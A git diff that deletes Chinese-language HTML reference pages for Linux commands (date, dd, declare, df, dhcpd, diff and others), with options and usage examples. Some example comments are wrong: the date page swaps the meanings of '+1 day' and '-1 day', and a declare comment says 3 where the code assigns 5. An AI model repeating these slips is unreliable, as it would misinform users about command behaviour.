-%::z    +hh:mm:ss格式的数值化时区格式(例如,-04:00:00)
-%:::z   数值化时区格式,相比上一个格式增加':'以显示必要的精度(例如,-04,+05:30)
-%Z      时区缩写(如EDT)
-
-默认情况下,日期用零填充数字字段;以下可选的符号可以跟在'%'后面:
-
--      (连字符) 不要填充相应的字段。
-_      (下划线) 使用空格填充相应的字段。
-0      (数字0) 使用数字0填充相应的字段。
-+      用数字0填充,未来年份大于4位数字则在前面加上'+'号。
-^      允许的情况下使用大写。
-#      允许的情况下将默认的大写转换为小写,默认的小写转换为大写。
-
-在任何标志之后都有一个可选的字段宽度,如小数;然后是一个可选的修饰符,在可用的情况下,使用E来使用当地语言环境的替代表示,
-使用O来使用当地语言环境的替代数字符号。
-
-

选项

-
长选项与短选项等价
-
--d, --date=STRING          解析字符串并按照指定格式输出,字符串不能是'now'。
---debug                    注释已解析的日期,并将有疑问的用法发送到标准错误。
--f, --file=DATEFILE        类似于--date; 一次从DATEFILE处理一行。
--I[FMT], --iso-8601[=FMT]  按照ISO 8601格式输出,FMT可以为'date'(默认)'hours''minutes''seconds''ns'。
-                           例如:2006-08-14T02:34:56-06:00
--R, --rfc-email            按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600
---rfc-3339=FMT             按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,
-                           例如:2006-08-14 02:34:56-06:00
--r, --reference=FILE       显示文件的上次修改时间。
--s, --set=STRING           根据字符串设置系统时间。
--u, --utc, --universal     显示或设置世界协调时(UTC)。
---help                     显示帮助信息并退出。
---version                  显示版本信息并退出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-
# 格式化输出:
-date +"%Y-%m-%d"
-2009-12-07
-
-# 输出昨天日期:
-date -d "1 day ago" +"%Y-%m-%d"
-2012-11-19
-
-# 2秒后输出:
-date -d "2 second" +"%Y-%m-%d %H:%M.%S"
-2012-11-20 14:21.31
-
-# 传说中的 1234567890 秒:
-date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S"
-# 或者
-date -d@1234567890 +"%F %T"
-# 输出结果
-2009-02-13 23:02:30
-
-# 时间格式转换:
-date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S"
-# 输出结果
-2009/12/12 00:00.00
-
-# apache格式转换:
-date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S"
-# 输出结果
-2009-12-05 00:00.37
-
-# 格式转换后时间游走:
-date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S"
-# 输出结果
-2007-12-05 00:00.37
-
-# 时间加减操作:
-date +%Y%m%d                   # 显示年月日
-date -d "+1 day" +%Y%m%d       # 显示前一天的日期
-date -d "-1 day" +%Y%m%d       # 显示后一天的日期
-date -d "-1 month" +%Y%m%d     # 显示上一月的日期
-date -d "+1 month" +%Y%m%d     # 显示下一月的日期
-date -d "-1 year" +%Y%m%d      # 显示前一年的日期
-date -d "+1 year" +%Y%m%d      # 显示下一年的日期
-
-# 设定时间:
-date -s                         # 设置当前时间,只有root权限才能设置,其他只能查看
-date -s 20120523                # 设置成20120523,这样会把具体时间设置成00:00:00
-date -s 01:01:01                # 设置具体时间,不会对日期做更改
-date -s "01:01:01 2012-05-23"   # 这样可以设置全部时间
-date -s "01:01:01 20120523"     # 这样可以设置全部时间
-date -s "2012-05-23 01:01:01"   # 这样可以设置全部时间
-date -s "20120523 01:01:01"     # 这样可以设置全部时间
-
-# 有时需要检查一组命令花费的时间:
-start=$(date +%s)
-nmap wangchujiang.com &> /dev/null
-end=$(date +%s)
-difference=$(( end - start ))
-# 显示执行时间
-echo $difference seconds.
-
-# 当你考虑输出带有时间的字符串时,例如(Current time: 2019/05/19):
-# 通常使用的方法:
-echo "Current time: $(date +"%Y/%m/%d")"
-# 另一种方法:
-suffix='Current time:'
-# 注意如果换成单引号就不能替换变量了。
-date +"${suffix} %Y/%m/%d"
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 dateinfo coreutils 'date invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dd.html b/linux-command.docset/Contents/Resources/Documents/c/dd.html deleted file mode 100644 index 27b04f4a02..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dd.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - - - - - - - dd 命令,Linux dd 命令详解:复制文件并对原文件的内容进行转换和格式化处理 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dd

-

复制文件并对原文件的内容进行转换和格式化处理

-

补充说明

-

dd命令 用于复制文件并对原文件的内容进行转换和格式化处理。dd命令功能很强大的,对于一些比较底层的问题,使用dd命令往往可以得到出人意料的效果。用的比较多的还是用dd来备份裸设备。但是不推荐,如果需要备份oracle裸设备,可以使用rman备份,或使用第三方软件备份,使用dd的话,管理起来不太方便。

-

建议在有需要的时候使用dd 对物理磁盘操作,如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外,使用dd对磁盘操作时,最好使用块设备文件。

-

语法

-
dd(选项)
-
-

选项

-
bs=<字节数>:将ibs(输入)与obs(输出)设成指定的字节数;
-cbs=<字节数>:转换时,每次只转换指定的字节数;
-conv=<关键字>:指定文件转换的方式;
-count=<区块数>:仅读取指定的区块数;
-ibs=<字节数>:每次读取的字节数;
-obs=<字节数>:每次输出的字节数;
-of=<文件>:输出到文件;
-seek=<区块数>:一开始输出时,跳过指定的区块数;
-skip=<区块数>:一开始读取时,跳过指定的区块数;
---help:帮助;
---version:显示版本信息。
-
-

实例

-
[root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1
-1+0 records in
-1+0 records out
-1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s
-
-[root@localhost text]# du -sh sun.txt 
-1.1M    sun.txt
-
-

该命令创建了一个1M大小的文件sun.txt,其中参数解释:

-
    -
  • if 代表输入文件。如果不指定if,默认就会从stdin中读取输入。
  • -
  • of 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。
  • -
  • bs 代表字节为单位的块大小。
  • -
  • count 代表被复制的块数。
  • -
  • /dev/zero 是一个字符设备,会不断返回0值字节(\0)。
  • -
-

块大小可以使用的计量单位表

-

单元大小 | 代码 ----- | ---- -字节(1B)| c -字节(2B)| w -块(512B)| b -千字节(1024B) | k -兆字节(1024KB)| M -吉字节(1024MB)| G

-

以上命令可以看出dd命令来测试内存操作速度:

-
1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s
-
-

生成随机字符串

-

我们甚至可以使用 /dev/urandom 设备配合 dd 命令 来获取随机字符串。

-
[root@localhost ~]# dd if=/dev/urandom bs=1 count=15|base64 -w 0
-15+0 records in
-15+0 records out
-15 bytes (15 B) copied, 0.000111993 s, 134 kB/s
-wFRAnlkXeBXmWs1MyGEs
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/declare.html b/linux-command.docset/Contents/Resources/Documents/c/declare.html deleted file mode 100644 index 65904435fb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/declare.html +++ /dev/null @@ -1,256 +0,0 @@ - - - - - - - - - - - declare 命令,Linux declare 命令详解:声明变量,设置或显示变量的值和属性。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

declare

-

声明变量,设置或显示变量的值和属性。

-

语法

-
declare [-aAfFgilnrtux] [-p] [name[=value] ...]
-
-

主要用途

-
    -
  • 显示包含指定属性的全部变量和值
  • -
  • 显示包含指定属性的一到多个变量和值
  • -
  • 显示一到多个变量的属性和值
  • -
  • 显示所有变量的属性和值并显示函数的定义
  • -
  • 显示所有变量的属性和值
  • -
  • 显示所有全局变量的属性和值
  • -
  • 显示全部函数名和函数定义
  • -
  • 只显示全部函数名
  • -
  • 显示一到多个函数名和函数定义
  • -
  • 只显示一到多个函数名
  • -
  • 声明全局变量(可选:赋值)
  • -
  • 声明变量(可选:赋值、属性)
  • -
  • 增加、删除变量的属性(可选:赋值)
  • -
-

选项

-
-f 将操作或显示限制为函数名及函数定义。
--F 只显示函数名(调试时附加行号和源文件)。
--g 在shell函数中使用时创建全局变量;其他情况下忽略。
--p 显示每个名称的属性和值。
-
-*设置属性的选项:
--a 创建数组(如果支持)。
--A 创建关联数组(如果支持)。
--i 增加整型属性。
-+i 删除整型属性。
--l 增加小写属性,变量的值将转换为小写。
-+l 删除小写属性。
--n 增加引用属性(如果该选项存在)。
-+n 删除引用属性(如果该选项存在)。
--r 增加只读属性。
--t 增加追踪属性。
-+t 删除追踪属性。
--u 增加大写属性,变量的值将转换为大写。
-+u 删除大写属性。
--x 增加导出属性。
-+x 删除导出属性。
-
-

参数

-
name(可选):变量名或函数名。
-value(可选):变量的值。
-
-

返回值

-

declare 返回true除非你提供了非法选项或赋值错误。具体导致异常的情况请查看讨论章节的关于异常情况

-

例子

-
# 声明变量,当然也欢迎您在这个网站(感谢本项目发起人 @jaywcjlove)查询linux命令。
-declare reference_website='https://wangchujiang.com/linux-command/'
-
-# 显示所有包含整型属性的变量和值。
-declare -i
-# 定义变量b并赋值为3,具有整型属性。
-declare -i b=5
-# 显示属性,返回 declare -i b="5"。
-declare -p b
-# 删除整型属性。
-declare +i b
-# 显示属性,返回 declare -- b="5"。
-declare -p b
-# 根据变量属性强制转换值的英文大小写。
-declare -u uc_var='abc'
-declare -l lc_var='ABC'
-# 显示'ABC abc';
-echo "${uc_var} ${lc_var}"
-
-
# 定义函数内的全局变量
-function test(){
-  declare -g a=3
-  # 或者
-  local -g b=3
-  # 或者
-  c=3
-  # 让我们查看它们的属性。
-  declare -p a b c
-}
-# 执行函数。
-test
-# 返回结果。
-# declare -- a="3"
-# declare -- b="3"
-# declare -- c="3"
-
-# 定义函数外的全局变量
-declare a=3
-b=3
-declare –p a b
-# 返回结果如下。
-# declare -- a="3"
-# declare -- b="3"
-
-# 定义局部变量
-function test2(){
-  local -i a=3
-  declare -i b=3
-}
-test2
-# 没有该变量(已经被销毁了)
-echo "${a} ${b}"
-# 因此,我们日常脚本中最常见的类似于'a=3'实际上是声明并赋值了一个全局变量。
-# 在接下来的 **讨论** 环节会延伸讨论全局和局部变量问题。
-
-
# 注意,不能使用 `+a` 或 `+A` 取消数组,也不能使用 `+r` 取消只读属性。
-
-# 定义只读数组,设置属性的同时定义赋值。
-declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter')
-# 或者这样。
-season=('Spring' 'Summer' 'Autumn' 'Winter')
-declare -ar season
-# 显示所有数组。
-declare -a
-# 定义关联数组。
-
-declare -A fruits=(['apple']='red' ['banana']='yellow')
-# 显示所有关联数组。
-declare -A
-
-
# 显示所有变量的属性和值并显示函数的定义,输出很长。
-declare
-# 显示所有变量的属性和值。
-declare -p
-# 显示所有全局变量的属性和值。
-declare -g
-
-
# 显示全部函数名和函数定义。
-declare -f
-# 只显示全部函数名。
-declare -F
-
-# 定义两个函数。
-function func_a(){ echo $(date +"%F %T"); }
-function func_b(){ cd /; ls -lh --sort=time; }
-# 显示一到多个函数名和函数定义。
-declare -f func_a func_b
-# 只显示一到多个函数名,验证某个名称是否已经定义为函数时有用。
-declare -F func_a func_b
-# 最好不要让函数名和变量名相同。
-
-

讨论

-
    -
  1. -

    全局和局部变量

    -

    正如上面例子指出的情况,我们在日常编写程序的时候需要了解这些概念,在这里 -做个简要地介绍,当然你也可以很方便的搜索到相关内容。

    -
      -
    • 全局变量:在整个脚本执行期间,只要没有被删除就一直存在
    • -
    • 局部变量:在函数内定义,函数执行后就被删除。
    • -
    -

    建议函数内使用local命令,函数外使用declare命令。

    -
    -

    不要在脚本中定义过多的全局变量,那样可能会被其他函数调用造成意料之外的后果,并且也不方便检查出来。

    -

    更不用说缺乏必要的注释了 —— ZhuangZhu-74

    -
    -

    相关资料:

    - -
  2. -
  3. -

    关于declare typeset export local readonly命令

    -

    为什么declare能做到的事,还需要定义其他这些命令呢?

    -

    因为这样语句含义会更加明确,例如:

    -
      -
    • 设置导出属性的变量时,export vardeclare -x var
    • -
    • 在函数内声明变量时,使用local
    • -
    • 声明只读变量,使用readonly
    • -
    -

    typesetdeclare命令一样。

    -
  4. -
  5. -

    关于异常情况

    -

    有多种原因导致declare失败,关于这些情况可以参考bash在线文档declare部分(最新版),或执行 info bash -查看declare部分最后一大串an attempt is开头的句子。

    -
  6. -
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
  3. 导出属性的相关介绍请查看'export'命令。
  4. -
  5. 只读属性的相关介绍请查看'readonly'命令。
  6. -
  7. 引用属性的相关介绍请查看'unset'命令的例子部分。
  8. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/depmod.html b/linux-command.docset/Contents/Resources/Documents/c/depmod.html deleted file mode 100644 index 43f11ed752..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/depmod.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - depmod 命令,Linux depmod 命令详解:分析可载入模块的相依性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

depmod

-

分析可载入模块的相依性

-

补充说明

-

depmod命令 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。

-

语法

-
depmod(选项)
-
-

选项

-
-a或--all:分析所有可用的模块;
--d或debug:执行排错模式;
--e:输出无法参照的符号;
--i:不检查符号表的版本;
--m<文件>或system-map<文件>:使用指定的符号表文件;
--s或--system-log:在系统记录中记录错误;
--v或--verbose:执行时显示详细的信息;
--V或--version:显示版本信息;
---help:显示帮助。
-
-

实例

-
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
-
-
    -
  • /home/windsome/EMMA3PF-KernelSource-20080626/install_pos是我make mod_install后,所有模块的存放路径。
  • -
  • ./boot/System.mapmake linux后生成,我拷贝到此目录的。
  • -
  • 2.6.18_pro500-bcm91250-mips2_fp_be是我build的linux的版本。
  • -
-

编译linux过程及执行depmod的例子:

-
genkernel.sh (at linux-2.6.18_pro500)
-#######
-export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
-export INSTALL_MOD_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
-rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf
-rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf
-cd <linux_src_dir>
-make
-make modules_install
-cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p
-cd /home/windsome/EMMA3PF-KernelSource-20080626/install_pos
-depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
-
-

其他用法:

-

在linux桌面系统中,当你编译了新的驱动,为了能够用modprobe ***加载模块, 你需要先将模块拷贝到/lib/modules /2.6.31-20-generic目录下,然后运行sudo depmod -a将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中。

-

如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到/lib/modules/2.6.31-20-generic/wireless下,然后到/lib/modules/2.6.31-20-generic运行depmod -a,之后可以在任意目录运行modprobe r8192se_pci。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/df.html b/linux-command.docset/Contents/Resources/Documents/c/df.html deleted file mode 100644 index 9a377d73c7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/df.html +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - df 命令,Linux df 命令详解:显示磁盘的相关信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

df

-

显示磁盘的相关信息

-

补充说明

-

df命令 用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。

-

语法

-
df(选项)(参数)
-
-

选项

-
-a或--all:包含全部的文件系统;
---block-size=<区块大小>:以指定的区块大小来显示区块数目;
--h或--human-readable:以可读性较高的方式来显示信息;
--H或--si:与-h参数相同,但在计算时是以1000 Bytes为换算单位而非1024 Bytes;
--i或--inodes:显示inode的信息;
--k或--kilobytes:指定区块大小为1024字节;
--l或--local:仅显示本地端的文件系统;
--m或--megabytes:指定区块大小为1048576字节;
---no-sync:在取得磁盘使用信息前,不要执行sync指令,此为预设值;
--P或--portability:使用POSIX的输出格式;
---sync:在取得磁盘使用信息前,先执行sync指令;
--t<文件系统类型>或--type=<文件系统类型>:仅显示指定文件系统类型的磁盘信息;
--T或--print-type:显示文件系统的类型;
--x<文件系统类型>或--exclude-type=<文件系统类型>:不要显示指定文件系统类型的磁盘信息;
---help:显示帮助;
---version:显示版本信息。
-
-

参数

-

文件:指定文件系统上的文件。

-

大小格式

-

显示值以 --block-sizeDF_BLOCK_SIZEBLOCK_SIZEBLOCKSIZE 环境变量中的第一个可用 SIZE 为单位。 否则,单位默认为 1024 个字节(如果设置 POSIXLY_CORRECT,则为512)。

-

SIZE是一个整数和可选单位(例如:10M是10 * 1024 * 1024)。 单位是K,M,G,T,P,E,Z,Y(1024的幂)或KB,MB,...(1000的幂)。

-

实例

-

查看系统磁盘设备,默认是KB为单位:

-
[root@LinServ-1 ~]# df
-文件系统               1K-块        已用     可用 已用% 挂载点
-/dev/sda2            146294492  28244432 110498708  21% /
-/dev/sda1              1019208     62360    904240   7% /boot
-tmpfs                  1032204         0   1032204   0% /dev/shm
-/dev/sdb1            2884284108 218826068 2518944764   8% /data1
-
-

使用-h选项以KB以上的单位来显示,可读性高:

-
[root@LinServ-1 ~]# df -h
-文件系统              容量  已用 可用 已用% 挂载点
-/dev/sda2             140G   27G  106G  21% /
-/dev/sda1             996M   61M  884M   7% /boot
-tmpfs                1009M     0 1009M   0% /dev/shm
-/dev/sdb1             2.7T  209G  2.4T   8% /data1
-
-

查看全部文件系统:

-
[root@LinServ-1 ~]# df -a
-文件系统               1K-块        已用     可用 已用% 挂载点
-/dev/sda2            146294492  28244432 110498708  21% /
-proc                         0         0         0   -  /proc
-sysfs                        0         0         0   -  /sys
-devpts                       0         0         0   -  /dev/pts
-/dev/sda1              1019208     62360    904240   7% /boot
-tmpfs                  1032204         0   1032204   0% /dev/shm
-/dev/sdb1            2884284108 218826068 2518944764   8% /data1
-none                         0         0         0   -  /proc/sys/fs/binfmt_misc
-
-

显示 public 目录中的可用空间量,如以下输出中所示:

-
df public
-# Filesystem     1K-blocks     Used Available Use% Mounted on
-# /dev/loop0      18761008 15246924   2554392  86% /d Avail
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dhclient.html b/linux-command.docset/Contents/Resources/Documents/c/dhclient.html deleted file mode 100644 index 4ee0fa86e1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dhclient.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - dhclient 命令,Linux dhclient 命令详解:动态获取或释放IP地址 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dhclient

-

动态获取或释放IP地址

-

补充说明

-

dhclient命令 使用动态主机配置协议动态的配置网络接口的网络参数。

-

语法

-
dhclient(选项)(参数)
-
-

选项

-
0:指定dhcp客户端监听的端口号;
--d:总是以前台方式运行程序;
--q:安静模式,不打印任何错误的提示信息;
--r:释放ip地址。
-
-

参数

-

网络接口:操作的网络接口。

-

实例

-
dhclient -r     #释放IP
-dhclient        #获取IP
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dhcpd.html b/linux-command.docset/Contents/Resources/Documents/c/dhcpd.html deleted file mode 100644 index b8a054222e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dhcpd.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - dhcpd 命令,Linux dhcpd 命令详解:运行DHCP服务器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dhcpd

-

运行DHCP服务器

-

语法

-
dhcpd [选项] [网络接口]
-
-

选项

-
-p <端口> 指定dhcpd监听的端口
--f 作为前台进程运行dhcpd
--d 启用调试模式
--q 在启动时不显示版权信息
--t 简单地测试配置文件的语法是否正确的,但不会尝试执行任何网络操作
--T 可以用来测试租约数据库文件
--4 运行DHCP服务器
--6 运行DHCPv6服务器
--s <服务器> 指定发送回复的服务器
--cf <配置文件> 指定配置文件
--lf <租约文件> 指定租约文件
--pf <PID文件> 指定PID文件
--tf <跟踪输出文件> 指定文件记录DHCP服务器的整个启动状态
-
-

例子

-

对DHCP服务器进行排错。

-
[root@localhost ~]# dhcpd
-InternetSystems Consortium DHCP Server 4.1.1-P1
-Copyright2004-2010 Internet Systems Consortium.
-All rightsreserved.
-For info,please visit https://www.isc.org/software/dhcp/
-Not searchingLDAP since ldap-server, ldap-port and ldap-base-dn were not specified in theconfig file
-Wrote 0deleted host decls to leases file.
-Wrote 0 newdynamic host decls to leases file.
-Wrote 1leases to leases file.
-Listening onLPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
-Sendingon  LPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
-Sendingon   Socket/fallback/fallback-net
-[root@rhel~]# There's already a DHCP server running.
- 
-This versionof ISC DHCP is based on the release available
-onftp.isc.org.  Features have been addedand other changes
-have beenmade to the base software release in order to make
-it workbetter with this distribution.
- 
-exiting.
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dhcrelay.html b/linux-command.docset/Contents/Resources/Documents/c/dhcrelay.html deleted file mode 100644 index c504ac9d4b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dhcrelay.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - dhcrelay 命令,Linux dhcrelay 命令详解:使用dhcrelay命令可以提供中继DHCP和BOOTP请求 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dhcrelay

-

使用dhcrelay命令可以提供中继DHCP和BOOTP请求

-

补充说明

-

dhcrelay命令 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。

-

语法

-
dhcrelay [选项] [DHCP服务器]
-
-

选项

-
-c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255
--4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式
--6 运行dhcrelay命令作为DHCPv6中继代理
--q 安静模式
--p <端口> 监听和发送端口。DHCPv4/BOOTP默认端口是67,DHCPv6默认端口是547
--A <长度> 指定发送到DHCP服务器的最大数据包大小
--d 强制dhcrelay命令作为前台进程运行
-
-

例子

-

指定DHCP服务器的位置。

-
[root@localhost ~]# dhcrelay 192.168.0.2
-Internet Systems Consortium DHCP Relay Agent4.1.1-P1
-Copyright 2004-2010 Internet SystemsConsortium.
-All rights reserved.
-For info, please visithttps://www.isc.org/software/dhcp/
-Listening on LPF/eth1/00:0c:29:fc:2f:ef
-Sending on  LPF/eth1/00:0c:29:fc:2f:ef
-Listening on LPF/eth0/00:0c:27:fc:25:ec
-Sending on  LPF/eth0/00:0c:27:fc:25:ec
-Sending on  Socket/fallback
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/diff.html b/linux-command.docset/Contents/Resources/Documents/c/diff.html deleted file mode 100644 index f243d4ac12..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/diff.html +++ /dev/null @@ -1,128 +0,0 @@ - - - - - - - - - - - diff 命令,Linux diff 命令详解:比较给定的两个文件的不同 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

diff

-

比较给定的两个文件的不同

-

补充说明

-

diff命令 在最简单的情况下,比较给定的两个文件的不同。如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。diff命令是以逐行的方式,比较文本文件的异同处。如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,而不会对其子目录文件进行任何比较操作。

-

语法

-
diff(选项)(参数)
-
-

选项

-
-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用;
--a或——text:diff预设只会逐行比较文本文件;
--b或--ignore-space-change:不检查空格字符的不同;
--B或--ignore-blank-lines:不检查空白行;
--c:显示全部内容,并标出不同之处;
--C<行数>或--context<行数>:与执行“-c-<行数>”指令相同;
--d或——minimal:使用不同的演算法,以小的单位来做比较;
--D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集;
--e或——ed:此参数的输出格式可用于ed的script文件;
--f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处;
--H或--speed-large-files:比较大文件时,可加快速度;
--l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异;
--i或--ignore-case:不检查大小写的不同;
--l或——paginate:将结果交由pr程序来分页;
--n或——rcs:将比较结果以RCS的格式来显示;
--N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较;
--p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称;
--P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较;
--q或--brief:仅显示有无差异,不显示详细的信息;
--r或——recursive:比较子目录中的文件;
--s或--report-identical-files:若没有发现任何差异,仍然显示信息;
--S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较;
--t或--expand-tabs:在输出时,将tab字符展开;
--T或--initial-tab:在每行前面加上tab字符以便对齐;
--u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;
--v或——version:显示版本信息;
--w或--ignore-all-space:忽略全部的空格字符;
--W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽;
--x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录;
--X<文件>或--exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件;
--y或--side-by-side:以并列的方式显示文件的异同之处;
---help:显示帮助;
---left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容;
---suppress-common-lines:在使用-y参数时,仅显示不同之处。
-
-

参数

-
    -
  • 文件1:指定要比较的第一个文件;
  • -
  • 文件2:指定要比较的第二个文件。
  • -
-

实例

-

将目录/usr/li下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令:

-
diff /usr/li test.txt     #使用diff指令对文件进行比较
-
-

上面的命令执行后,会将比较后的不同之处以指定的形式列出,如下所示:

-
n1 a n3,n4  
-n1,n2 d n3  
-n1,n2 c n3,n4 
-
-

其中,字母"a"、"d"、"c"分别表示添加、删除及修改操作。而"n1"、"n2"表示在文件1中的行号,"n3"、"n4"表示在文件2中的行号。

-

注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/diff3.html b/linux-command.docset/Contents/Resources/Documents/c/diff3.html deleted file mode 100644 index 53085b0bb4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/diff3.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - diff3 命令,Linux diff3 命令详解:比较3个文件不同的地方 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

diff3

-

比较3个文件不同的地方

-

补充说明

-

diff3命令 用于比较3个文件,将3个文件的不同的地方显示到标准输出。

-

语法

-
diff3(选项)(参数)
-
-

选项

-
-a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件;
--A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来;
--B:与选项“-A”功能相同,但是不显示冲突的内容;
--e/--ed:生成一个“-ed”脚本,用于将第2个文件和第3个文件之间的不同合并到第1个文件中;
---easy-only:除了不显示互相重叠的变化,与选项“-e”的功能相同;
--i:为了和system V系统兼容,在“ed”脚本的最后生成“w”和“q”命令。此选项必须和选项“-AeExX3”连用,但是不能和“-m”连用;
---initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。
-
-

参数

-
    -
  • 文件1:指定要比较的第1个文件;
  • -
  • 文件2:指定要比较的第2个文件;
  • -
  • 文件3:指定要比较的第3个文件。
  • -
- -
